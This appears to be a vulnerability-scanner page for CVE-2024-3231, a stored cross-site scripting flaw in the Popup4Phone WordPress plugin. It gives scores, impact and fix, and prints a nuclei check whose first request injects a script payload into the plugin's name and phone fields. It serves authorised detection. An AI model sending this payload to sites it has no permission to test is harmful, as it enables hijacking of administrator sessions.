Popup4Phone <= 1.3.2 - Unauthenticated Stored Cross-Site Scripting

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

Popup4Phone WordPress plugin through 1.3.2 contains a reflected cross-site scripting caused by unsanitized parameters, letting unauthenticated users execute scripts in admin browsers, exploit requires sending crafted requests.

Impact

Attackers can execute scripts in admin browsers, potentially leading to session hijacking or defacement.

Fix

Update to the latest version of Popup4Phone plugin.

How to confirm it

Send: POST /
Positive when: status_code == 200 and contains(body, "success")
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=popup4phone
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "<script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2024-3231 -u <target>

The full check

id: CVE-2024-3231

info:
  name: Popup4Phone <= 1.3.2 - Unauthenticated Stored Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    Popup4Phone WordPress plugin through 1.3.2 contains a reflected cross-site scripting caused by unsanitized parameters, letting unauthenticated users execute scripts in admin browsers, exploit requires sending crafted requests.
  impact: |
    Attackers can execute scripts in admin browsers, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of Popup4Phone plugin.
  reference:
    - https://wpscan.com/vulnerability/81dbb5c0-ccdd-4af1-b2f2-71cb1b37fe93/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3231
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-3231
    cwe-id: CWE-79
    epss-score: 0.00678
    epss-percentile: 0.52659
    cpe: cpe:2.3:a:ivanweb:popup4phone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"WordPress"
    fofa-query: body="popup4phone"
  tags: cve,cve2024,wordpress,wpscan,wp-plugin,popup4phone,xss,stored

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        popup4phone%5Bws_pages_submit_url%5D=&popup4phone%5Bws_pages_submit_title%5D=Popup4Phone&popup4phone%5Bname%5D=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&popup4phone%5Bphone%5D=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&popup4phone%5Bemail%5D=test%40test.com&popup4phone%5Bmessage%5D=test&ajax=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=popup4phone HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from